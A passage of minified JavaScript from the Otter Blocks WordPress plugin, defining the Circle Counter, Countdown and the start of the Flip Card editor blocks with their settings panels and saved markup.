0>n?(0,i.createElement)("div",null):(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-circle-counter__bar",style:{height:o+"px",width:o+"px"}},(0,i.createElement)("svg",{className:"wp-block-themeisle-blocks-circle-counter-container",width:o,height:o},(0,i.createElement)("circle",{className:"wp-block-themeisle-blocks-circle-counter-bg",cx:a,cy:a,r:n,strokeWidth:e.strokeWidth,style:{stroke:e.backgroundColor}}),(0,i.createElement)("circle",{ref:t,className:"wp-block-themeisle-blocks-circle-counter-progress",cx:a,cy:a,r:n,strokeWidth:e.strokeWidth,strokeDasharray:r,style:{stroke:e.progressColor}}),(0,i.createElement)("text",{ref:l,className:"wp-block-themeisle-blocks-circle-counter-text",x:"50%",y:"50%",style:{fill:e.progressColor,fontSize:e.fontSizePercent+"px"}},e.percentage,"%")))};const{attributes:Ce}=fe;const{clamp:we,omit:Ee}=lodash,xe={to:[{type:"block",blocks:["themeisle-blocks/progress-bar"],transform:e=>{const t=Ee(e,["titleStyle","height","fontSize","strokeWidth","progressColor"]);return(0,a.createBlock)("themeisle-blocks/progress-bar",{...t,barBackgroundColor:e.progressColor,height:we(e.height/4,0,100),titleStyle:"default"})}}]};var Se=xe;const{name:Te}=fe;(0,a.registerBlockType)(Te,{...fe,title:(0,o.__)("Circle Counter","otter-blocks"),description:(0,o.__)("Show your progress with a beautiful Circle Counter block. Powered by Otter.","otter-blocks"),icon:r.circleIcon,keywords:["progress","circle","counter"],transforms:Se,edit:({clientId:e,attributes:t,setAttributes:l,isSelected:a,toggleSelection:n})=>{(0,b.useEffect)((()=>{const l=(0,y.blockInit)(e,Ce);return()=>l(t.id)}),[t.id]);const r=(0,b.useRef)(null),s=(0,b.useRef)(null),[c,d]=(0,b.useState)({}),m=t.height/2-t.strokeWidth/2,g=2*Math.PI*m;(0,b.useEffect)((()=>{if(!r.current||!r.current||0===t.duration)return;const e=t.percentage/(1e3*t.duration),l=(0,A.range)(0,1e3*t.duration+20,20).map((t=>t*e)).reverse();c&&clearInterval(c),r.current.style.strokeDashoffset=g,s.current.innerText="0%";const o=setInterval((()=>{if(!r.current)return void clearInterval(o);const e=Math.round(l.pop());r.current.style.strokeDashoffset=(100-e)/100*g,s.current.innerHTML=e+"%",0===l.length&&clearInterval(o)}),20);return d(o),()=>{clearInterval(o)}}),[t.duration]),(0,b.useEffect)((()=>{if(r.current&&r.current)return r.current.style.strokeDashoffset=(100-t.percentage)/100*g,s.current.innerHTML=t.percentage+"%",clearInterval(c),()=>{clearInterval(c)}}),[t.percentage,t.height]);const k={"--font-size-title":(0,h.Yj)(t.fontSizeTitle)},f=(0,u.useBlockProps)({id:t.id,style:k});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ve,{attributes:t,setAttributes:l}),(0,i.createElement)("div",{...f},"default"===t.titleStyle&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-circle-counter-title__area"},(0,i.createElement)(u.RichText,{tagName:"span",allowedFormats:[],className:"wp-block-themeisle-blocks-circle-counter-title__value",placeholder:a?(0,o.__)("Write caption…","otter-blocks"):null,value:t.title,onChange:e=>l({title:e}),multiline:!1,style:{color:t.titleColor}})),(0,i.createElement)(p.ResizableBox,{size:{height:t.height,width:t.height},minHeight:20,maxHeight:240,enable:{top:!1,right:!1,bottom:!0,left:!1},showHandle:a,onResizeStop:(e,o,a,r)=>{l({height:parseInt(t.height+r.height,10)}),n(!0)},onResizeStart:()=>{n(!1)}},(0,i.createElement)(_e,{attributes:t,progressRef:r,valueRef:s})),"bottom"===t.titleStyle&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-circle-counter-title__area"},(0,i.createElement)(u.RichText,{tagName:"span",allowedFormats:[],className:"wp-block-themeisle-blocks-circle-counter-title__value",placeholder:a?(0,o.__)("Write caption…","otter-blocks"):null,value:t.title,onChange:e=>l({title:e}),multiline:!1,style:{color:t.titleColor}}))))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,"data-percentage":e.percentage,"data-duration":e.duration,"data-height":e.height,"data-stroke-width":e.strokeWidth,"data-font-size-percent":e.fontSizePercent,"data-background-stroke":e.backgroundColor,"data-progress-stroke":e.progressColor});return(0,i.createElement)("div",{...t},"default"===e.titleStyle&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-circle-counter-title__area"},(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-circle-counter-title__value"},e.title)),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-circle-counter__bar"}),"bottom"===e.titleStyle&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-circle-counter-title__area"},(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-circle-counter-title__value"},e.title)))},example:{attributes:{title:"Lorem ipsum"}}});var Be=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/countdown","title":"Countdown","category":"themeisle-blocks","description":"Set a countdown for a date. Powered by Otter.","keywords":["countdown","time","counter"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"date":{"type":"string"},"exclude":{"type":"array"},"backgroundColor":{"type":"string"},"valueColor":{"type":"string"},"labelColor":{"type":"string"},"labelDistance":{"type":"number"},"separatorColor":{"type":"string"},"gap":{"type":"number"},"gapTablet":{"type":"number"},"gapMobile":{"type":"number"},"width":{"type":"number"},"widthTablet":{"type":"number"},"widthMobile":{"type":"number"},"containerWidth":{"type":"string"},"containerWidthTablet":{"type":"string"},"containerWidthMobile":{"type":"string"},"height":{"type":"number"},"heightTablet":{"type":"number"},"heightMobile":{"type":"number"},"borderRadius":{"type":["number","object"]},"borderRadiusBox":{"type":"object"},"borderStyle":{"type":"string"},"borderWidth":{"type":"number"},"borderWidthTablet":{"type":"number"},"borderWidthMobile":{"type":"number"},"borderColor":{"type":"string"},"valueFontSize":{"type":["number","string"]},"valueFontSizeTablet":{"type":["number","string"]},"valueFontSizeMobile":{"type":["number","string"]},"labelFontSize":{"type":["number","string"]},"labelFontSizeTablet":{"type":["number","string"]},"labelFontSizeMobile":{"type":["number","string"]},"hasSeparators":{"type":"boolean"},"valueFontWeight":{"type":"string"},"labelFontWeight":{"type":"string"},"alignment":{"type":"string"},"padding":{"type":"object"},"paddingTablet":{"type":"object"},"paddingMobile":{"type":"object"},"borderRadiusTopRight":{"type":"number"},"borderRadiusTopLeft":{"type":"number"},"borderRadiusBottomRight":{"type":"number"},"borderRadiusBottomLeft":{"type":"number"},"borderRadiusType":{"type":"string","default":"linked"},"separatorAlignment":{"type":"string"},"behaviour":{"type":"string"},"redirectLink":{"type":"string"},"mode":{"type":"string"},"timer":{"type":"object"},"startInterval":{"type":"string"},"endInterval":{"type":"string"},"onEndAction":{"type":"string"}},"supports":{"align":["wide","full"]},"editorStyle":"otter-countdown-editor","style":"otter-countdown-style","script":"otter-countdown"}'),Me=l(6292),Pe=l.n(Me),ze=l(9771),Fe=l(2694);const Re=[{name:(0,o.__)("Small","otter-blocks"),size:"0.875em",slug:"small"},{name:(0,o.__)("Medium","otter-blocks"),size:"1em",slug:"medium"},{name:(0,o.__)("Large","otter-blocks"),size:"1.125em",slug:"large"},{name:(0,o.__)("XL","otter-blocks"),size:"1.25em",slug:"xl"}],Le=["","100","200","300","400","500","600","700","800","900"].map((e=>({label:e||"Default",value:e}))),Oe=({attributes:e})=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Countdown Type","otter-blocks"),value:e.mode,options:[{label:(0,o.__)("Static","otter-blocks"),value:""},{label:(0,o.__)("Evergreen (Pro)","otter-blocks"),value:"timer",disabled:!0},{label:(0,o.__)("Interval (Pro)","otter-blocks"),value:"interval",disabled:!0}],help:(0,o.__)("An universal deadline for all visitors","otter-blocks")}),!Boolean(window.themeisleGutenberg?.hasPro)&&(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"countdownfeature")},(0,o.__)("Get more options with Otter Pro.","otter-blocks")),variant:"upsell"})),Ie=()=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.SelectControl,{label:(0,o.__)("On Expire","otter-blocks"),value:"default",onChange:()=>{},options:[{label:(0,o.__)("No action","otter-blocks"),value:"default"},{label:(0,o.__)("Hide the Countdown","otter-blocks"),value:"hide"},{label:(0,o.__)("Redirect to link","otter-blocks"),value:"redirectLink"}],help:(0,o.__)("The countdown remains visible when it reaches 0","otter-blocks"),disabled:!0}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide/Show Blocks When the Countdown Ends","otter-blocks"),help:(0,o.__)("Enable Hide/Show other blocks when the Countdown ends.","otter-blocks"),checked:!1,onChange:()=>{},disabled:!0}),!Boolean(window.themeisleGutenberg?.hasPro)&&(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"countdownfeature")},(0,o.__)("Get more options with Otter Pro.","otter-blocks")),variant:"upsell"}));var He=({attributes:e,setAttributes:t})=>{var l,a,n,r,s;const{responsiveSetAttributes:c,responsiveGetAttributes:d}=(0,k.Y)(t),m=(l,o)=>{t(l?{exclude:e?.exclude?.filter((e=>e!==o))}:{exclude:e?.exclude?[...e?.exclude,o]:[o]})},[f,v]=(0,y.useTabSwitch)(e.id,"settings"),_=(0,ze.__experimentalGetSettings)();return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:f,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:v}),"settings"===f&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Time Settings","otter-blocks")},(0,Fe.applyFilters)("otter.countdown.controls.settings",(0,i.createElement)(Oe,{attributes:e}),{attributes:e,setAttributes:t}),void 0===e.mode&&(0,i.createElement)(p.Dropdown,{position:"bottom left",headerTitle:(0,o.__)("Select the date for the deadline","otter-blocks"),renderToggle:({onToggle:t,isOpen:l})=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Button,{onClick:t,isSecondary:!0,"aria-expanded":l,className:"o-extend-btn"},e.date?(0,ze.format)(_.formats.datetime,e.date):(0,o.__)("Select Date","otter-blocks"))),renderContent:()=>(0,i.createElement)(p.DateTimePicker,{currentDate:e.date,onChange:e=>t({date:e})}),className:"o-extend"})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Display","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Days","otter-blocks"),checked:!e?.exclude?.includes("day"),onChange:e=>m(e,"day")}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Hours","otter-blocks"),checked:!e?.exclude?.includes("hour"),onChange:e=>m(e,"hour")}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Minutes","otter-blocks"),checked:!e?.exclude?.includes("minute"),onChange:e=>m(e,"minute")}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Seconds","otter-blocks"),checked:!e?.exclude?.includes("second"),onChange:e=>m(e,"second")}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Separators","otter-blocks"),checked:e?.hasSeparators,onChange:e=>t({hasSeparators:e})}),(0,i.createElement)(g.n9,{label:(0,o.__)("Space Between boxes","otter-blocks")},(0,i.createElement)(p.RangeControl,{value:null!==(l=d([e.gap,e.gapTablet,e.gapMobile]))&&void 0!==l?l:6,onChange:e=>c(e,["gap","gapTablet","gapMobile"]),min:0,max:100,allowReset:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("End Action","otter-blocks"),initialOpen:!1},(0,Fe.applyFilters)("otter.countdown.controls.end",(0,i.createElement)(Ie,null),{attributes:e,setAttributes:t})),(0,i.createElement)(g.p,null)),"style"===f&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.n9,{label:(0,o.__)("Width","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:null!==(a=d([e.containerWidth,e.containerWidthTablet,e.containerWidthMobile]))&&void 0!==a?a:"100%",onChange:e=>c(e,["containerWidth","containerWidthTablet","containerWidthMobile"])})),(0,i.createElement)(g.n9,{label:(0,o.__)("Height","otter-blocks")},(0,i.createElement)(p.RangeControl,{value:null!==(n=d([e.height,e.heightTablet,e.heightMobile]))&&void 0!==n?n:100,onChange:e=>c(e,["height","heightTablet","heightMobile"]),min:50,max:800,allowReset:!0})),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Position","otter-blocks"),value:e.alingment,onChange:e=>t({alignment:e||void 0}),options:[{label:(0,o.__)("Default","otter-blocks"),value:""},{label:(0,o.__)("Left","otter-blocks"),value:"flex-start"},{label:(0,o.__)("Center","otter-blocks"),value:"center"},{label:(0,o.__)("Right","otter-blocks"),value:"flex-end"}]}),e.hasSeparators&&(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Separator Alignment","otter-blocks"),value:e.separatorAlignment,onChange:e=>{t(e?{separatorAlignment:e}:{separatorAlignment:void 0})},options:[{label:(0,o.__)("Default","otter-blocks"),value:""},{label:(0,o.__)("Center","otter-blocks"),value:"center"}]})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.n9,{label:(0,o.__)("Time Value Font Size","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Re,withReset:!0,value:d([e.valueFontSize,e.valueFontSizeTablet,e.valueFontSizeMobile]),onChange:e=>c(e,["valueFontSize","valueFontSizeTablet","valueFontSizeMobile"])})),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Time Value Font Weight","otter-blocks"),value:e.valueFontWeight,onChange:e=>t({valueFontWeight:e||void 0}),options:Le}),(0,i.createElement)(g.n9,{label:(0,o.__)("Label Font Size","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Re,withReset:!0,value:d([e.labelFontSize,e.labelFontSizeTablet,e.labelFontSizeMobile]),onChange:e=>c(e,["labelFontSize","labelFontSizeTablet","labelFontSizeMobile"])})),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Label Font Weight","otter-blocks"),value:e.labelFontWeight,onChange:e=>t({labelFontWeight:e||void 0}),options:Le})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.backgroundColor,onChange:e=>t({backgroundColor:e}),label:(0,o.__)("Background","otter-blocks"),isShownByDefault:!0},{value:e.valueColor,onChange:e=>t({valueColor:e}),label:(0,o.__)("Time Value","otter-blocks"),isShownByDefault:!1},{value:e.labelColor,onChange:e=>t({labelColor:e}),label:(0,o.__)("Label","otter-blocks"),isShownByDefault:!1},{value:e.separatorColor,onChange:e=>t({separatorColor:e}),label:(0,o.__)("Separator","otter-blocks"),isShownByDefault:!1},{value:e.borderColor,onChange:e=>t({borderColor:e}),label:(0,o.__)("Border","otter-blocks"),isShownByDefault:!1}]},(0,i.createElement)(u.ContrastChecker,{textColor:e.backgroundColor,backgroundColor:e.valueColor})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Type","otter-blocks"),value:null!==(r=e.borderStyle)&&void 0!==r?r:"solid",onChange:e=>t({borderStyle:"solid"===e?void 0:e}),options:[{label:(0,o.__)("None","otter-blocks"),value:"none"},{label:(0,o.__)("Solid","otter-blocks"),value:"solid"},{label:(0,o.__)("Double","otter-blocks"),value:"double"},{label:(0,o.__)("Dotted","otter-blocks"),value:"dotted"},{label:(0,o.__)("Dashed","otter-blocks"),value:"dashed"}]}),"none"!==e.borderStyle&&(0,i.createElement)(g.n9,{label:(0,o.__)("Width","otter-blocks")},(0,i.createElement)(p.RangeControl,{value:null!==(s=d([e.borderWidth,e.borderWidthTablet,e.borderWidthMobile]))&&void 0!==s?s:2,onChange:e=>c(e,["borderWidth","borderWidthTablet","borderWidthMobile"]),min:0,max:50,allowReset:!0})),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Radius","otter-blocks"),values:(0,h.Dv)(e.borderRadiusBox,{left:"0px",right:"0px",bottom:"0px",top:"0px"}),onChange:e=>{t({borderRadiusBox:(0,h.cg)(e,{left:"0px",right:"0px",bottom:"0px",top:"0px"})})},id:"o-border-raduis-box"}))))};const Ne=36e5,Ae=864e5,Ve=(e={})=>{var t;return null!==(t=parseInt(e?.days||"0")*Ae+parseInt(e?.hours||"0")*Ne+6e4*parseInt(e?.minutes||"0")+1e3*parseInt(e?.seconds||"0"))&&void 0!==t?t:0},De=(e,t)=>{var l;null!==(l=e)&&void 0!==l||(e=0);const a=Math.floor(e/Ae),n=Math.floor(e/Ne%24),r=Math.floor(e/6e4%60),i=Math.floor(e/1e3%60);return[{tag:"day",name:1<a?(0,o.__)("Days","otter-blocks"):(0,o.__)("Day","otter-blocks"),value:a},{tag:"hour",name:1<n?(0,o.__)("Hours","otter-blocks"):(0,o.__)("Hour","otter-blocks"),value:n},{tag:"minute",name:1<r?(0,o.__)("Minutes","otter-blocks"):(0,o.__)("Minute","otter-blocks"),value:r},{tag:"second",name:1<i?(0,o.__)("Seconds","otter-blocks"):(0,o.__)("Second","otter-blocks"),value:i}].filter((({tag:e})=>!t?.exclude?.includes(e))).map((e=>(t?.keepNeg||(e.value=Math.max(0,e.value)),e)))},Ge=({name:e,value:t,tag:l})=>(0,i.createElement)("div",{name:l,className:c()("otter-countdown__display-area",{"is-main-component":"separator"!==l})},(0,i.createElement)("div",{className:"otter-countdown__value"},t),(0,i.createElement)("div",{className:"otter-countdown__label"},e));var je=({time:e,settings:t,hasSeparators:l})=>{const o=De(null!=e?e:0,4===t?.exclude?.length?{}:{exclude:t?.exclude}),a=l?(0,h.S3)(o,{name:"sep",value:":",tag:"separator"}):o,n=a?.map(((e,t)=>(0,i.createElement)(Ge,{...e,key:t})));return(0,i.createElement)("div",{className:"otter-countdown__container"},void 0!==e&&(0,i.createElement)("div",{className:"otter-countdown__display"},n))};const{attributes:We}=Be;const $e=({name:e,value:t,tag:l})=>(0,i.createElement)("div",{name:l,className:c()("otter-countdown__display-area",{"is-main-component":"separator"!==l})},(0,i.createElement)("div",{className:"otter-countdown__value"},t),(0,i.createElement)("div",{className:"otter-countdown__label"},e)),Ue=({time:e,hasSeparators:t})=>{const l=t?(0,h.S3)(e,{name:"sep",value:":",tag:"separator"}):e,o=l?.map(((e,t)=>(0,i.createElement)($e,{...e,key:t})));return void 0!==e?(0,i.createElement)("div",{className:"otter-countdown__container"},(0,i.createElement)("div",{className:"otter-countdown__display"},o)):(0,i.createElement)(b.Fragment,null)};const{name:Ze}=Be;(0,a.registerBlockType)(Ze,{...Be,title:(0,o.__)("Countdown","otter-blocks"),description:(0,o.__)("Set a countdown for a date. Powered by Otter.","otter-blocks"),icon:r.countdownIcon,keywords:["countdown","time","counter"],edit:({attributes:e,setAttributes:t,clientId:l})=>{const[a,n]=(0,b.useState)(0);(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,We);return()=>t(e.id)}),[e.id]),(0,b.useEffect)((()=>{if(void 0===e.borderRadiusBox&&(e.borderRadius||e.borderRadiusBottomLeft||e.borderRadiusTopRight||e.borderRadiusTopLeft||e.borderRadiusBottomRight)){const l=(0,A.pickBy)("linked"===e?.borderRadiusType?{left:(0,h.FV)(e.borderRadius),right:(0,h.FV)(e.borderRadius),bottom:(0,h.FV)(e.borderRadius),top:(0,h.FV)(e.borderRadius)}:{left:(0,h.FV)(e.borderRadiusBottomLeft),right:(0,h.FV)(e.borderRadiusTopRight),bottom:(0,h.FV)(e.borderRadiusBottomRight),top:(0,h.FV)(e.borderRadiusTopLeft)},(e=>e));(0,A.isEmpty)(l)||t({borderRadiusBox:l,borderRadius:void 0,borderRadiusBottomLeft:void 0,borderRadiusTopRight:void 0,borderRadiusBottomRight:void 0,borderRadiusTopLeft:void 0,borderRadiusType:void 0})}}),[]),(0,b.useEffect)((()=>{let t;return"timer"!==e.mode&&(t=setInterval((()=>{if(e.date){const t=1e3*Pe()(e.date+(0,h.EP)()).unix();n(t-Date.now())}}),500)),()=>{clearInterval(t)}}),[e.date,e.mode]);const r={"--border-radius":(0,h.bv)(e.borderRadiusBox),"--border-style":e.borderStyle,"--background-color":e.backgroundColor,"--border-color":e.borderColor,"--container-width":e.containerWidth,"--container-width-tablet":e.containerWidthTablet,"--container-width-mobile":e.containerWidthMobile,"--height":(0,h.Yj)(e.height),"--height-tablet":(0,h.Yj)(e.heightTablet),"--height-mobile":(0,h.Yj)(e.heightMobile),"--border-width":(0,h.Yj)(e.borderWidth),"--border-width-tablet":(0,h.Yj)(e.borderWidthTablet),"--border-width-mobile":(0,h.Yj)(e.borderWidthMobile),"--gap":(0,h.Yj)(e.gap),"--gap-tablet":(0,h.Yj)(e.gapTablet),"--gap-mobile":(0,h.Yj)(e.gapMobile),"--value-font-size":(0,h.Yj)(e.valueFontSize),"--value-font-size-tablet":(0,h.Yj)(e.valueFontSizeTablet),"--value-font-size-mobile":(0,h.Yj)(e.valueFontSizeMobile),"--label-font-size":(0,h.Yj)(e.labelFontSize),"--label-font-size-tablet":(0,h.Yj)(e.labelFontSizeTablet),"--label-font-size-mobile":(0,h.Yj)(e.labelFontSizeMobile),"--alignment":e.alignment,"--padding":(0,h.bv)(e.padding),"--padding-tablet":(0,h.bv)(e.paddingTablet),"--padding-mobile":(0,h.bv)(e.paddingMobile),"--value-font-weight":e.valueFontWeight,"--label-font-weight":e.labelFontWeight},[s,d]=(0,y.useCSSNode)();(0,b.useEffect)((()=>{d([`.otter-countdown__display-area .otter-countdown__value {\n\t\t\t\tcolor: ${e.valueColor};\n\t\t\t}`,`.otter-countdown__display-area .otter-countdown__label {\n\t\t\t\tcolor: ${e.labelColor};\n\t\t\t}`,`.otter-countdown__display-area[name="separator"] .otter-countdown__value {\n\t\t\t\tcolor: ${e.separatorColor};\n\t\t\t}`,"center"===e.separatorAlignment?'\n\t\t\t.otter-countdown__display-area[name="separator"] .otter-countdown__label {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\t\t\t':""])}),[e.valueColor,e.labelColor,e.separatorColor,e.separatorAlignment]);const m=(0,u.useBlockProps)({id:e.id,className:c()(s,"ready"),style:r});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(He,{attributes:e,setAttributes:t}),(0,i.createElement)("div",{...m},(0,i.createElement)(je,{time:(()=>{switch(e.mode){case"timer":return Ve(e.timer);case"interval":return((e,t)=>{if(!e||!t)return 0;const l=new Date(e).getTime();return new Date(t).getTime()-l})(e.startInterval,e.endInterval);default:return a}})(),settings:{exclude:e?.exclude},hasSeparators:e.hasSeparators}),4===e?.exclude?.length&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)("br",null),(0,i.createElement)(p.Notice,{isDismissible:!1,status:"info"},(0,o.__)("The Countdown will be hidden in page","otter-blocks")))))},save:({attributes:e})=>{const t=e.startInterval&&e.endInterval?{"data-intv-start":e.startInterval,"data-intv-end":e.endInterval}:{},l=u.useBlockProps.save({id:e.id,"data-date":e.date,"data-bhv":e.behaviour?e.behaviour:void 0,"data-redirect-link":"redirectLink"===e.behaviour&&e.redirectLink?e.redirectLink:void 0,"data-mode":e.mode?e.mode:void 0,"data-timer":(0,A.isEmpty)(e.timer)?void 0:(o=e.timer,Ve(o).toString()),"data-on-end-action":e.onEndAction?e.onEndAction:void 0,...t});var o;return(0,i.createElement)("div",{...l},(0,i.createElement)(Ue,{time:De(0,{exclude:e?.exclude}),hasSeparators:e?.hasSeparators}))},example:{attributes:{date:"2024-07-15T15:03:00"}}});var qe=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/flip","title":"Flip Card","category":"themeisle-blocks","description":"Make a card with a flip effect. Powered by Otter.","keywords":["flip card","container","animation"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"isInverted":{"type":"boolean"},"title":{"type":"string"},"description":{"type":"string"},"animType":{"type":"string","default":"flipY"},"width":{"type":["number","string"]},"widthTablet":{"type":["string"]},"widthMobile":{"type":["string"]},"height":{"type":["number","string"]},"heightTablet":{"type":["string"]},"heightMobile":{"type":["string"]},"padding":{"type":["number","object"]},"paddingTablet":{"type":"object"},"paddingMobile":{"type":"object"},"borderWidth":{"type":["number","object"]},"borderColor":{"type":"string"},"borderRadius":{"type":["number","object"]},"backgroundColor":{"type":"string"},"frontVerticalAlign":{"type":"string"},"frontHorizontalAlign":{"type":"string"},"backVerticalAlign":{"type":"string"},"frontMedia":{"type":"object"},"frontMediaWidth":{"type":["number","string"]},"frontMediaHeight":{"type":["number","string"]},"frontBackgroundImage":{"type":"object"},"frontBackgroundType":{"type":"string","default":"color"},"frontBackgroundColor":{"type":"string"},"frontBackgroundGradient":{"type":"string"},"frontBackgroundPosition":{"type":"object"},"frontBackgroundRepeat":{"type":"string"},"frontBackgroundAttachment":{"type":"string"},"frontBackgroundSize":{"type":"string"},"backBackgroundImage":{"type":"object"},"backBackgroundType":{"type":"string","default":"color"},"backBackgroundColor":{"type":"string"},"backBackgroundGradient":{"type":"string"},"backBackgroundPosition":{"type":"object"},"backBackgroundRepeat":{"type":"string"},"backBackgroundSize":{"type":"string"},"backBackgroundAttachment":{"type":"string"},"boxShadow":{"type":"boolean","default":false},"boxShadowColor":{"type":"string","default":"#000000"},"boxShadowColorOpacity":{"type":"number","default":50},"boxShadowBlur":{"type":"number","default":5},"boxShadowHorizontal":{"type":"number","default":0},"boxShadowVertical":{"type":"number","default":0},"titleFontSize":{"type":["number","string"]},"descriptionFontSize":{"type":["number","string"]},"titleColor":{"type":"string"},"descriptionColor":{"type":"string"},"frontContentType":{"type":"string"}},"editorStyle":"otter-flip-editor","style":"otter-flip-style"}');const Ye={top:"flex-start",left:"flex-start",bottom:"flex-end",right:"flex-end",center:"center"},Ke={"flex-start":"top",center:"center","flex-end":"bottom"},Je={"flex-start":"left",center:"center","flex-end":"right"},Xe=(e,t)=>{if(e&&t)return`${Ke[e]} ${Je[t]}`};var Qe=({attributes:e,setAttributes:t,currentSide:l})=>{const a=u.__experimentalBlockAlignmentMatrixControl||u.__experimentalBlockAlignmentMatrixToolbar;return(0,i.createElement)(u.BlockControls,null,("front"===l&&!Boolean(e.isInverted)||"back"===l&&Boolean(e.isInverted))&&(0,i.createElement)(p.Toolbar,null,(0,i.createElement)(a,{label:(0,o.__)("Change front side content position","otter-blocks"),value:Xe(e.frontVerticalAlign,e.frontHorizontalAlign),onChange:e=>{const l=e?.split(" ");t({frontVerticalAlign:Ye?.[l?.[0]],frontHorizontalAlign:Ye?.[l?.[1]]})}})))};const et=[{name:"14",size:"14px",slug:"14"},{name:"16",size:"16px",slug:"16"},{name:"18",size:"18px",slug:"18"},{name:"24",size:"24px",slug:"24"}];var tt=({attributes:e,setAttributes:t,currentSide:l,setSide:a})=>{var n,s,c,d,m,f,v;const[_,C]=(0,y.useTabSwitch)(e.id,"settings"),{responsiveSetAttributes:w,responsiveGetAttributes:E}=(0,k.Y)(t);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:_,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:C}),(0,i.createElement)("div",null,"settings"===_&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Flip Settings","otter-blocks")},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Flip Direction","otter-blocks"),value:e.animType,options:[{label:(0,o.__)("Bottom to Top","otter-blocks"),value:"flipX"},{label:(0,o.__)("Top to Bottom","otter-blocks"),value:"flipX-rev"},{label:(0,o.__)("Left to Right","otter-blocks"),value:"flipY"},{label:(0,o.__)("Right to Left","otter-blocks"),value:"flipY-rev"}],onChange:e=>t({animType:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Invert the Sides","otter-blocks"),checked:e.isInverted,onChange:e=>t({isInverted:e}),help:(0,o.__)("Use this to display the back side first.","otter-blocks")})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Front Side Content","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Lp,{label:(0,o.__)("Content Type","otter-blocks"),options:[{label:(0,o.__)("None","otter-blocks"),value:"none"},{label:(0,o.__)("Image","otter-blocks"),value:"image"}],value:null!==(n=e?.frontContentType)&&void 0!==n?n:"none",onChange:e=>{const l={frontContentType:(0,A.isEmpty)(e)||"none"===e?void 0:e};((0,A.isEmpty)(e)||"none"===e)&&(l.frontMedia=void 0),t(l)}}),"image"===e.frontContentType&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Media Image","otter-blocks"),help:(0,o.__)("Set an image as showcase.","otter-blocks")},e.frontMedia?.url?(0,i.createElement)(p.BaseControl,null,(0,i.createElement)("img",{src:e.frontMedia.url,alt:e.frontMedia.alt,style:{border:"2px solid var( --wp-admin-theme-color)",maxHeight:"250px"}}),(0,i.createElement)(p.Button,{isSecondary:!0,onClick:()=>t({frontMedia:void 0})},(0,o.__)("Remove image","otter-blocks"))):(0,i.createElement)(u.MediaPlaceholder,{labels:{title:(0,o.__)("Media 